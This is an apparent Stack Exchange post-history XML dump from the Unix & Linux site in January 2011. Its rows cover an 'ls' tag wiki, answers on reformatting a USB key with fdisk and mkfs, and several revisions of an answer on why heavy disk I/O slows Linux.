  <row Id="12460" PostHistoryTypeId="6" PostId="5549" RevisionGUID="b99473b0-c00a-4f3e-ad85-3d6230b8b011" CreationDate="2011-01-08T18:39:20.713" UserId="885" Comment="edited tags" Text="émountàépermissionsàésshfsà" />
  <row Id="12461" PostHistoryTypeId="2" PostId="5557" RevisionGUID="1dfe4c31-b4d5-41cd-92f0-8c2e464a5e94" CreationDate="2011-01-08T18:57:53.777" UserId="885" Text="`ls` is a command to list files and their metadata (time, size, owner, etc.). Some implementations can show files in color.&#xD;&#xA;&#xD;&#xA;`ls` does not expand wildcards: this is done by the [tag:shell].&#xD;&#xA;&#xD;&#xA;It is very nearly [always a mistake to use `ls` in a script](http://mywiki.wooledge.org/ParsingLs). If you're just expanding wildcards, the shell does it already. If you're looking for files based on criteria such as their size or time, use [tag:find] (or [tag:zsh]'s glob qualifiers if you have zsh).&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Is there any option with 'ls' command that I see only the directories?](http://unix.stackexchange.com/questions/1645/is-there-any-option-with-ls-command-that-i-see-only-the-directories)&#xD;&#xA;* [what does the @ mean in ls -l?](http://unix.stackexchange.com/questions/10/what-does-the-mean-in-ls-l)&#xD;&#xA;* [ls command: what does the first line mean?](http://unix.stackexchange.com/questions/55/what-does-size-of-a-directory-means-in-output-of-ls-rlt-command)&#xD;&#xA;" />
  <row Id="12462" PostHistoryTypeId="2" PostId="5558" RevisionGUID="6a07846e-855d-4eec-b1d2-ab019af4202a" CreationDate="2011-01-08T18:57:53.777" UserId="885" Text="ls - list directory contents" />
  <row Id="12463" PostHistoryTypeId="6" PostId="1481" RevisionGUID="7141e68e-f0dd-4e42-ac00-3155560997c7" CreationDate="2011-01-08T19:06:10.810" UserId="885" Comment="edited tags" Text="égentooàégccàétoolchainàécrossöcompilationà" />
  <row Id="12464" PostHistoryTypeId="6" PostId="2061" RevisionGUID="5d6313db-3b97-4e60-af23-2062c4c951fd" CreationDate="2011-01-08T19:09:39.543" UserId="885" Comment="edited tags" Text="élinuxàésoftwareörecàéembeddedàédatabaseà" />
  <row Id="12465" PostHistoryTypeId="6" PostId="1680" RevisionGUID="1effbd33-aa9f-4f6d-bfc0-ba1fbe5ce18f" CreationDate="2011-01-08T19:12:00.790" UserId="885" Comment="edited tags" Text="élinuxàéembeddedàécrossöcompilationàévalgrindà" />
  <row Id="12466" PostHistoryTypeId="2" PostId="5559" RevisionGUID="f2975fac-b98c-43ab-adc1-2ef439ec1bad" CreationDate="2011-01-08T19:28:49.133" UserId="2076" Text="I have a USB key they I want to use on a CentOS box. The USB key was previously used on OS X so I want to erase it to make it writable by CentOS.&#xD;&#xA;&#xD;&#xA;Can someone help me with the commands I need to run?&#xD;&#xA;&#xD;&#xA;I'm guessing it has something to do with fdisk and mkfs (possibly mkfs.ext3). If it makes any difference, the USB key is 32GB.&#xD;&#xA;&#xD;&#xA;The disk is located at `/dev/sdb`." />
  <row Id="12467" PostHistoryTypeId="1" PostId="5559" RevisionGUID="f2975fac-b98c-43ab-adc1-2ef439ec1bad" CreationDate="2011-01-08T19:28:49.133" UserId="2076" Text="Formatting external drive in CentOS previously used on OS X" />
  <row Id="12468" PostHistoryTypeId="3" PostId="5559" RevisionGUID="f2975fac-b98c-43ab-adc1-2ef439ec1bad" CreationDate="2011-01-08T19:28:49.133" UserId="2076" Text="éusbàécentosàéusbödriveà" />
  <row Id="12469" PostHistoryTypeId="5" PostId="5552" RevisionGUID="48bca260-46fb-4245-aab3-b07ac7b8108d" CreationDate="2011-01-08T19:58:44.370" UserId="73" Comment="added 32 characters in body" Text="There are multiple methods:&#xD;&#xA;&#xD;&#xA;### `ls` only&#xD;&#xA;&#xD;&#xA;    ls lazer_??????&#xD;&#xA;&#xD;&#xA;### `ls` and `egrep`&#xD;&#xA;&#xD;&#xA;    ls | egrep '^lazer_.{6}$'&#xD;&#xA;&#xD;&#xA;### `find`&#xD;&#xA;&#xD;&#xA;    find . -regextype posix-egrep -regex '^./lazer_.{6}$'" />
  <row Id="12470" PostHistoryTypeId="2" PostId="5560" RevisionGUID="b85c8af6-eeb8-4091-b738-7fa91f11483d" CreationDate="2011-01-08T20:17:52.053" UserId="885" Text="Most USB keys use the [FAT](http://en.wikipedia.org/wiki/File_Allocation_Table) format (more precisely [FAT32](http://en.wikipedia.org/wiki/FAT32)), which is a simple format native to older versions of Windows and almost universally supported.&#xD;&#xA;&#xD;&#xA;If you formatted the key using HFS(+) or UFS, and you now want to format it as ext3, first find out if there is a partition on the key. Run `ls /dev/sdb*`. If this shows only `/dev/sdb`, there is no partition, so create the filesystem directly onto `/dev/sdb`. If this shows one partition (probably `/dev/sdb1` but it could be a different number), create the filesystem there. If there are several partitions, you can put different filesystems on them, or repartition the disk.&#xD;&#xA;&#xD;&#xA;Run `file - &lt;/dev/sdb1` to check what filesystem is currently on that partition (maybe use a different number or no number as determined above). If you're sure you want to make a new filesystem, run `mkfs.ext3 /dev/sdb1`. For removable media, you probably don't want any reserved block, so run&#xD;&#xA;&#xD;&#xA;    mkfs.ext3 -m 0 /dev/sdb1&#xD;&#xA;&#xD;&#xA;If your Linux is recent enough, you may want [ext4](http://en.wikipedia.org/wiki/Ext4) or [btrfs](http://en.wikipedia.org/wiki/Btrfs), as they are supposed to be better for flash devices (though I don't know if this applies to low-end flash media as found on USB keys).&#xD;&#xA;&#xD;&#xA;But again, there's rarely a reason not to use FAT on a USB key.&#xD;&#xA;" />
  <row Id="12471" PostHistoryTypeId="6" PostId="5559" RevisionGUID="6fdd5623-e783-4bec-b206-cd746051f698" CreationDate="2011-01-08T20:18:07.140" UserId="885" Comment="edited tags" Text="éfilesystemsàéusbàéusbödriveà" />
  <row Id="12472" PostHistoryTypeId="2" PostId="5561" RevisionGUID="1c15bdb3-ca2e-4c61-972f-8b8c0ccbd2fd" CreationDate="2011-01-08T20:19:57.217" UserId="3451" Text="Depending on what level of compatibility you want you can either go for ext3 or the more universal FAT32. To format as FAT32:&#xD;&#xA;&#xD;&#xA;    $su&#xD;&#xA;    $fdisk /dev/sdb&#xD;&#xA;    $mkfs.vfat /dev/sdb1 &#xD;&#xA;&#xD;&#xA;Or if you want to format for ext3:&#xD;&#xA;&#xD;&#xA;    $su&#xD;&#xA;    $fdisk /dev/sdb&#xD;&#xA;    $mkfs.ext3 /dev/sdb1&#xD;&#xA;&#xD;&#xA;As an aside if you want to rename the USB pendrive; to rename FAT32:&#xD;&#xA;&#xD;&#xA;    $sudo mlabel -i /dev/sdb1 ::usb-key&#xD;&#xA;&#xD;&#xA;Or for ext3:&#xD;&#xA;&#xD;&#xA;    $sudo e2label /dev/sdb1 usb-key&#xD;&#xA;&#xD;&#xA;For a general look at formatting, check out [this howto][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ehow.com/how_1000631_hard-drive-linux.html" />
  <row Id="12473" PostHistoryTypeId="2" PostId="5562" RevisionGUID="550d109f-d6d6-4965-82b7-986f6ba96011" CreationDate="2011-01-08T22:41:57.380" UserId="1779" Text="If your kernel is 64-bit (and so you can run 64-bit binaries), you can start a new x86_64 Gentoo install in a chroot, following the usual instructions.  I've done similar before — effectively a reinstall, but while still running the old system.  If you don't have a spare block device to install to, you can use a subdirectory and either boot with `init=chroot\040/new\040/bin/sinit` or drop down to a minimal environment to shuffle directories around.&#xD;&#xA;&#xD;&#xA;If your kernel is 32-bit, find a 64-bit kernel or build a cross-compiler to 64-bit to build a 64-bit kernel, boot it, then see above." />
  <row Id="12474" PostHistoryTypeId="2" PostId="5563" RevisionGUID="7d9a37ae-62a2-4688-a43b-1c4110b6cf67" CreationDate="2011-01-08T22:50:08.400" UserId="1779" Text="What's your version of Debian?&#xD;&#xA;&#xD;&#xA;If you're running testing, use [apt-pinning](http://wiki.debian.org/AptPreferences) to add unstable to your sources and mark it at a lower priority.&#xD;&#xA;&#xD;&#xA;Then add experimental to your sources.  Now the mozilla.debian.net packages should be installable." />
  <row Id="12475" PostHistoryTypeId="2" PostId="5564" RevisionGUID="282d145f-5e49-4097-9821-ad8eba9c444d" CreationDate="2011-01-08T23:21:41.767" UserId="885" Text="It certainly does on a clean shutdown:&#xD;&#xA;&#xD;&#xA;* The [Debian mdadm FAQ](http://git.debian.org/?p=pkg-mdadm/mdadm.git;a=blob_plain;f=debian/FAQ;hb=HEAD) implies the kernel does the right thing:&#xD;&#xA;&#xD;&#xA; &gt; ​8. (One of) my RAID arrays is busy and cannot be stopped. What gives?  &#xD;&#xA;  It is perfectly normal for mdadm to report the array with the root&#xD;&#xA;  filesystem to be busy on shutdown. The reason for this is that the root&#xD;&#xA;  filesystem must be mounted to be able to stop the array (or otherwise&#xD;&#xA;  /sbin/mdadm does not exist), but to stop the array, the root filesystem&#xD;&#xA;  cannot be mounted. Catch 22. The kernel actually stops the array just before&#xD;&#xA;  halting, so it's all well.&#xD;&#xA;&#xD;&#xA;* The [md driver sets all devices as read-only on shutdown](http://lxr.linux.no/linux+%2A/drivers/md/md.c#L7241) (and even gives the physical devices about one second to settle).&#xD;&#xA;&#xD;&#xA;Even if your system crashes in the middle of a write, the driver does take care to mark blocks as dirty while they're being written to, and to resync dirty blocks if it starts from an unclean array. See the [comments regarding array states](http://lxr.linux.no/linux+%2A/drivers/md/md.c#L3316). The [kernel documentation](http://www.kernel.org/doc/Documentation/md.txt) warns that arrays that are both dirty (not cleanly shut down) and degraded (having missing pieces) are not assembled automatically as this wouldn't be safe. When you assemble a dirty array, you'll (possibly very briefly) see it `resync` in `/sys/block/md99/md/rd0/state`. All in all, the md driver takes care of protecting your data against a total failures of a hardware component (CPU or disk), which is what's expected of it.&#xD;&#xA;&#xD;&#xA;What md won't protect you against is data corruption due to a Byzantine failure (i.e. silent flipping of one or more bits) in RAM, CPU, motherboard, or disk. The disk hardware has checksums, but they're not perfect (see e.g. [Zfs promotional literature](http://en.wikipedia.org/w/index.php?title=ZFS&amp;oldid=406354949#Data_Integrity)).&#xD;&#xA;[Zfs](http://en.wikipedia.org/wiki/ZFS) and [Btrfs](http://en.wikipedia.org/wiki/Btrfs) can protect against storage device corruption. [Btrfs's checksum tree](http://en.wikipedia.org/wiki/Btrfs#Checksum_tree) ensures that you will be notified if your hard disk flips a bit. Zfs offers a choice of checksum (according to [Jeff Bonwick's Blog](http://blogs.sun.com/bonwick/entry/zfs_end_to_end_data)), up to SHA-256 which protects not only against random corruption but even against deliberate attack, at the cost of CPU cycles.&#xD;&#xA;" />
  <row Id="12476" PostHistoryTypeId="2" PostId="5565" RevisionGUID="dfad928c-0856-4c7b-88ba-2c0612403a64" CreationDate="2011-01-09T03:09:59.837" UserId="688" Text="I never quite understood why high disk I/O slowed the system so much.  It's strange to me because I would expect the slow-down to affect only those processes dependent on the hard/optical drive data, but the slow-down affects even stuff loaded onto RAM. This is because (I think) the processor actually waits (doing nothing?).&#xD;&#xA;&#xD;&#xA;Can anyone explain this limitation and why it hasn't been solved in Linux? Is there a kernel out there that doesn't have this problem?" />
  <row Id="12477" PostHistoryTypeId="1" PostId="5565" RevisionGUID="dfad928c-0856-4c7b-88ba-2c0612403a64" CreationDate="2011-01-09T03:09:59.837" UserId="688" Text="Why does high disk I/O reduce system responsiveness?" />
  <row Id="12478" PostHistoryTypeId="3" PostId="5565" RevisionGUID="dfad928c-0856-4c7b-88ba-2c0612403a64" CreationDate="2011-01-09T03:09:59.837" UserId="688" Text="ékernelàéperformanceàéioà" />
  <row Id="12479" PostHistoryTypeId="6" PostId="11" RevisionGUID="6724f029-421a-4027-886f-b50198a4a139" CreationDate="2011-01-09T03:55:50.357" UserId="29" Comment="IO tag more useful than desktop" Text="élinuxàékernelàéperformanceàéswapàéioà" />
  <row Id="12480" PostHistoryTypeId="2" PostId="5566" RevisionGUID="8efea413-2fe4-4fbc-9f91-f6ba84767716" CreationDate="2011-01-09T04:00:03.563" UserId="688" Text="Always have a live USB/optical disk of your favorite OS handy, so that if you come across some laptop, you can boot off it and see how it fares. Ensure that you test problematic stuff like WiFi, 3G, and GPU (and maybe Bluetooth)." />
  <row Id="12481" PostHistoryTypeId="2" PostId="5567" RevisionGUID="71566430-befa-4877-8159-b03f8e5b75d0" CreationDate="2011-01-09T04:03:56.803" UserId="29" Text="I think for the most part it has been solved. My performance under heavy IO has improved in 2.6.36 and I expect it to improve more in 2.6.37. See [these](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3OQ) [phoronix](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3Mw) Articles.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Wu Fengguang and KOSAKI Motohiro have published patches this week that they believe will address some of these responsiveness issues, for which they call the &quot;system goes unresponsive under memory pressure and lots of dirty / writeback pages&quot; bug. Andreas Mohr, one of the users that has reported this problem to the LKML and tested the two patches that are applied against the kernel's vmscan reported success. Andreas' problem was the system becoming fully unresponsive (and switching to a VT took 20+ seconds) when making an EXT4 file-system when a solid-state drive was connected via USB 1.1. On his system when writing 300M from the /dev/zero file the problem was even worse.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Here's a direct link to the [bug](https://bugzilla.kernel.org/show_bug.cgi?id=12309)&#xD;&#xA;&#xD;&#xA;Also from Phoronix&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Fortunately, from our testing and the reports of other Linux users looking to see this problem corrected, the relatively small vmscan patches that were published do seem to better address the issue. The user-interface (GNOME in our case) still isn't 100% fluid if the system is sustaining an overwhelming amount of disk activity, but it's certainly much better than before and what's even found right now with the Linux 2.6.35 kernel. &#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="12482" PostHistoryTypeId="5" PostId="5567" RevisionGUID="e9be6cdc-0a19-41df-aeec-4bdcef2f20cb" CreationDate="2011-01-09T04:18:49.017" UserId="29" Comment="add 2.6.36 release announcement" Text="I think for the most part it has been solved. My performance under heavy IO has improved in 2.6.36 and I expect it to improve more in 2.6.37. See [these](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3OQ) [phoronix](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3Mw) Articles.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Wu Fengguang and KOSAKI Motohiro have published patches this week that they believe will address some of these responsiveness issues, for which they call the &quot;system goes unresponsive under memory pressure and lots of dirty / writeback pages&quot; bug. Andreas Mohr, one of the users that has reported this problem to the LKML and tested the two patches that are applied against the kernel's vmscan reported success. Andreas' problem was the system becoming fully unresponsive (and switching to a VT took 20+ seconds) when making an EXT4 file-system when a solid-state drive was connected via USB 1.1. On his system when writing 300M from the /dev/zero file the problem was even worse.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Here's a direct link to the [bug](https://bugzilla.kernel.org/show_bug.cgi?id=12309)&#xD;&#xA;&#xD;&#xA;Also from Phoronix&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Fortunately, from our testing and the reports of other Linux users looking to see this problem corrected, the relatively small vmscan patches that were published do seem to better address the issue. The user-interface (GNOME in our case) still isn't 100% fluid if the system is sustaining an overwhelming amount of disk activity, but it's certainly much better than before and what's even found right now with the Linux 2.6.35 kernel. &#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;There's also the [Phoronix 2.6.36 release announcement](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODY5NA)" />
  <row Id="12483" PostHistoryTypeId="6" PostId="5565" RevisionGUID="e09f6fde-dd19-42c5-9657-2f3a70704306" CreationDate="2011-01-09T04:20:50.077" UserId="29" Comment="add linux tag, the problems of linux would not be the same problem of solaris" Text="élinuxàékernelàéperformanceàéioà" />
  <row Id="12484" PostHistoryTypeId="5" PostId="5567" RevisionGUID="37768a8e-4ffa-4767-99dc-2c89b00621a3" CreationDate="2011-01-09T04:45:22.523" UserId="29" Comment="add block barriers info" Text="I think for the most part it has been solved. My performance under heavy IO has improved in 2.6.36 and I expect it to improve more in 2.6.37. See [these](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3OQ) [phoronix](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3Mw) Articles.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Wu Fengguang and KOSAKI Motohiro have published patches this week that they believe will address some of these responsiveness issues, for which they call the &quot;system goes unresponsive under memory pressure and lots of dirty / writeback pages&quot; bug. Andreas Mohr, one of the users that has reported this problem to the LKML and tested the two patches that are applied against the kernel's vmscan reported success. Andreas' problem was the system becoming fully unresponsive (and switching to a VT took 20+ seconds) when making an EXT4 file-system when a solid-state drive was connected via USB 1.1. On his system when writing 300M from the /dev/zero file the problem was even worse.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Here's a direct link to the [bug](https://bugzilla.kernel.org/show_bug.cgi?id=12309)&#xD;&#xA;&#xD;&#xA;Also from Phoronix&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Fortunately, from our testing and the reports of other Linux users looking to see this problem corrected, the relatively small vmscan patches that were published do seem to better address the issue. The user-interface (GNOME in our case) still isn't 100% fluid if the system is sustaining an overwhelming amount of disk activity, but it's certainly much better than before and what's even found right now with the Linux 2.6.35 kernel. &#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;There's also the [Phoronix 2.6.36 release announcement](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODY5NA)&#xD;&#xA;&#xD;&#xA;It seems [block barriers are going away](http://lwn.net/Articles/400541/) and that should also help performance.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;In practice, barriers have an unpleasant reputation for killing block I/O performance, to the point that administrators are often tempted to turn them off and take their risks. While the tagged queue operations provided by contemporary hardware should implement barriers reasonably well, attempts to make use of those features have generally run into difficulties. So, in the real world, barriers are implemented by simply draining the I/O request queue prior to issuing the barrier operation, with some flush operations thrown in to get the hardware to actually commit the data to persistent media. Queue-drain operations will stall the device and kill the parallelism needed for full performance; it's not surprising that the use of barriers can be painful.&lt;/blockquote&gt;" />
  <row Id="12485" PostHistoryTypeId="4" PostId="5565" RevisionGUID="ab099671-f90b-4e6b-964f-b29d30f881b0" CreationDate="2011-01-09T04:51:33.657" UserId="688" Comment="edited title" Text="Why does high disk I/O reduce system responsiveness/performance?" />
  <row Id="12486" PostHistoryTypeId="5" PostId="5567" RevisionGUID="33523517-7cda-46de-80a0-ad685ed08f83" CreationDate="2011-01-09T04:54:22.013" UserId="29" Comment="add an older article on Fair I/O" Text="I think for the most part it has been solved. My performance under heavy IO has improved in 2.6.36 and I expect it to improve more in 2.6.37. See [these](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3OQ) [phoronix](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3Mw) Articles.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Wu Fengguang and KOSAKI Motohiro have published patches this week that they believe will address some of these responsiveness issues, for which they call the &quot;system goes unresponsive under memory pressure and lots of dirty / writeback pages&quot; bug. Andreas Mohr, one of the users that has reported this problem to the LKML and tested the two patches that are applied against the kernel's vmscan reported success. Andreas' problem was the system becoming fully unresponsive (and switching to a VT took 20+ seconds) when making an EXT4 file-system when a solid-state drive was connected via USB 1.1. On his system when writing 300M from the /dev/zero file the problem was even worse.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Here's a direct link to the [bug](https://bugzilla.kernel.org/show_bug.cgi?id=12309)&#xD;&#xA;&#xD;&#xA;Also from Phoronix&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Fortunately, from our testing and the reports of other Linux users looking to see this problem corrected, the relatively small vmscan patches that were published do seem to better address the issue. The user-interface (GNOME in our case) still isn't 100% fluid if the system is sustaining an overwhelming amount of disk activity, but it's certainly much better than before and what's even found right now with the Linux 2.6.35 kernel. &#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;There's also the [Phoronix 2.6.36 release announcement](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODY5NA)&#xD;&#xA;&#xD;&#xA;It seems [block barriers are going away](http://lwn.net/Articles/400541/) and that should also help performance.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;In practice, barriers have an unpleasant reputation for killing block I/O performance, to the point that administrators are often tempted to turn them off and take their risks. While the tagged queue operations provided by contemporary hardware should implement barriers reasonably well, attempts to make use of those features have generally run into difficulties. So, in the real world, barriers are implemented by simply draining the I/O request queue prior to issuing the barrier operation, with some flush operations thrown in to get the hardware to actually commit the data to persistent media. Queue-drain operations will stall the device and kill the parallelism needed for full performance; it's not surprising that the use of barriers can be painful.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There's also this [LWN article on fair I/O Scheduling](http://lwn.net/Articles/332839/)&#xD;&#xA;" />
  <row Id="12487" PostHistoryTypeId="2" PostId="5568" RevisionGUID="07c29b8d-c75c-451f-925a-3e18e088b2aa" CreationDate="2011-01-09T05:04:16.283" UserId="3519" Text="You could always keep an old version of your favourite OS for this task with the old drivers, running in a VM (e.g. VirtualBox)." />
  <row Id="12488" PostHistoryTypeId="5" PostId="5567" RevisionGUID="9052e26b-c960-466d-8dc4-70536e9b1a25" CreationDate="2011-01-09T05:05:13.030" UserId="29" Comment="add Kernel Newbies links." Text="I think for the most part it has been solved. My performance under heavy IO has improved in 2.6.36 and I expect it to improve more in 2.6.37. See [these](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3OQ) [phoronix](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3Mw) Articles.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Wu Fengguang and KOSAKI Motohiro have published patches this week that they believe will address some of these responsiveness issues, for which they call the &quot;system goes unresponsive under memory pressure and lots of dirty / writeback pages&quot; bug. Andreas Mohr, one of the users that has reported this problem to the LKML and tested the two patches that are applied against the kernel's vmscan reported success. Andreas' problem was the system becoming fully unresponsive (and switching to a VT took 20+ seconds) when making an EXT4 file-system when a solid-state drive was connected via USB 1.1. On his system when writing 300M from the /dev/zero file the problem was even worse.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Here's a direct link to the [bug](https://bugzilla.kernel.org/show_bug.cgi?id=12309)&#xD;&#xA;&#xD;&#xA;Also from Phoronix&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Fortunately, from our testing and the reports of other Linux users looking to see this problem corrected, the relatively small vmscan patches that were published do seem to better address the issue. The user-interface (GNOME in our case) still isn't 100% fluid if the system is sustaining an overwhelming amount of disk activity, but it's certainly much better than before and what's even found right now with the Linux 2.6.35 kernel. &#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;There's also the [Phoronix 2.6.36 release announcement](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODY5NA)&#xD;&#xA;&#xD;&#xA;It seems [block barriers are going away](http://lwn.net/Articles/400541/) and that should also help performance.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;In practice, barriers have an unpleasant reputation for killing block I/O performance, to the point that administrators are often tempted to turn them off and take their risks. While the tagged queue operations provided by contemporary hardware should implement barriers reasonably well, attempts to make use of those features have generally run into difficulties. So, in the real world, barriers are implemented by simply draining the I/O request queue prior to issuing the barrier operation, with some flush operations thrown in to get the hardware to actually commit the data to persistent media. Queue-drain operations will stall the device and kill the parallelism needed for full performance; it's not surprising that the use of barriers can be painful.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There's also this [LWN article on fair I/O Scheduling](http://lwn.net/Articles/332839/)&#xD;&#xA;&#xD;&#xA;I would say IO reawakened as a big deal about the time of the release of ext4 in 2.6.28. The following links are to [Linux Kernel Newbies](http://kernelnewbies.org/) Kernel releases, you should review the Block, and Filesystems sections. This may of course be unfair sentiment, or just the time I started watching FS development, I'm sure it's been improving all along, but I feel that some of the ext4 issues, 'caused people to look hard at the IO stack.&#xD;&#xA;&#xD;&#xA;[2.6.28](http://kernelnewbies.org/Linux_2_6_28),&#xD;&#xA;[2.6.29](http://kernelnewbies.org/Linux_2_6_29),&#xD;&#xA;[2.6.30](http://kernelnewbies.org/Linux_2_6_30),&#xD;&#xA;[2.6.31](http://kernelnewbies.org/Linux_2_6_31),&#xD;&#xA;[2.6.32](http://kernelnewbies.org/Linux_2_6_32),&#xD;&#xA;[2.6.33](http://kernelnewbies.org/Linux_2_6_33),&#xD;&#xA;[2.6.34](http://kernelnewbies.org/Linux_2_6_34),&#xD;&#xA;[2.6.35](http://kernelnewbies.org/Linux_2_6_35),&#xD;&#xA;[2.6.36](http://kernelnewbies.org/Linux_2_6_36),&#xD;&#xA;[2.6.37](http://kernelnewbies.org/Linux_2_6_37)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12489" PostHistoryTypeId="5" PostId="5567" RevisionGUID="a2733b6f-691e-49b4-af09-5ab81bc98654" CreationDate="2011-01-09T05:15:07.603" UserId="29" Comment="add more speculation" Text="I think for the most part it has been solved. My performance under heavy IO has improved in 2.6.36 and I expect it to improve more in 2.6.37. See [these](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3OQ) [phoronix](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3Mw) Articles.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Wu Fengguang and KOSAKI Motohiro have published patches this week that they believe will address some of these responsiveness issues, for which they call the &quot;system goes unresponsive under memory pressure and lots of dirty / writeback pages&quot; bug. Andreas Mohr, one of the users that has reported this problem to the LKML and tested the two patches that are applied against the kernel's vmscan reported success. Andreas' problem was the system becoming fully unresponsive (and switching to a VT took 20+ seconds) when making an EXT4 file-system when a solid-state drive was connected via USB 1.1. On his system when writing 300M from the /dev/zero file the problem was even worse.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Here's a direct link to the [bug](https://bugzilla.kernel.org/show_bug.cgi?id=12309)&#xD;&#xA;&#xD;&#xA;Also from Phoronix&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Fortunately, from our testing and the reports of other Linux users looking to see this problem corrected, the relatively small vmscan patches that were published do seem to better address the issue. The user-interface (GNOME in our case) still isn't 100% fluid if the system is sustaining an overwhelming amount of disk activity, but it's certainly much better than before and what's even found right now with the Linux 2.6.35 kernel. &#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;There's also the [Phoronix 2.6.36 release announcement](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODY5NA)&#xD;&#xA;&#xD;&#xA;It seems [block barriers are going away](http://lwn.net/Articles/400541/) and that should also help performance.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;In practice, barriers have an unpleasant reputation for killing block I/O performance, to the point that administrators are often tempted to turn them off and take their risks. While the tagged queue operations provided by contemporary hardware should implement barriers reasonably well, attempts to make use of those features have generally run into difficulties. So, in the real world, barriers are implemented by simply draining the I/O request queue prior to issuing the barrier operation, with some flush operations thrown in to get the hardware to actually commit the data to persistent media. Queue-drain operations will stall the device and kill the parallelism needed for full performance; it's not surprising that the use of barriers can be painful.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There's also this [LWN article on fair I/O Scheduling](http://lwn.net/Articles/332839/)&#xD;&#xA;&#xD;&#xA;I would say IO reawakened as a big deal about the time of the release of ext4 in 2.6.28. The following links are to [Linux Kernel Newbies](http://kernelnewbies.org/) Kernel releases, you should review the Block, and Filesystems sections. This may of course be unfair sentiment, or just the time I started watching FS development, I'm sure it's been improving all along, but I feel that some of the ext4 issues, 'caused people to look hard at the IO stack, or it might be that they were expecting ext4 to resolve all the performance issues, and then when it didn't they realized they had to look elsewhere for the problems.&#xD;&#xA;&#xD;&#xA;[2.6.28](http://kernelnewbies.org/Linux_2_6_28),&#xD;&#xA;[2.6.29](http://kernelnewbies.org/Linux_2_6_29),&#xD;&#xA;[2.6.30](http://kernelnewbies.org/Linux_2_6_30),&#xD;&#xA;[2.6.31](http://kernelnewbies.org/Linux_2_6_31),&#xD;&#xA;[2.6.32](http://kernelnewbies.org/Linux_2_6_32),&#xD;&#xA;[2.6.33](http://kernelnewbies.org/Linux_2_6_33),&#xD;&#xA;[2.6.34](http://kernelnewbies.org/Linux_2_6_34),&#xD;&#xA;[2.6.35](http://kernelnewbies.org/Linux_2_6_35),&#xD;&#xA;[2.6.36](http://kernelnewbies.org/Linux_2_6_36),&#xD;&#xA;[2.6.37](http://kernelnewbies.org/Linux_2_6_37)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
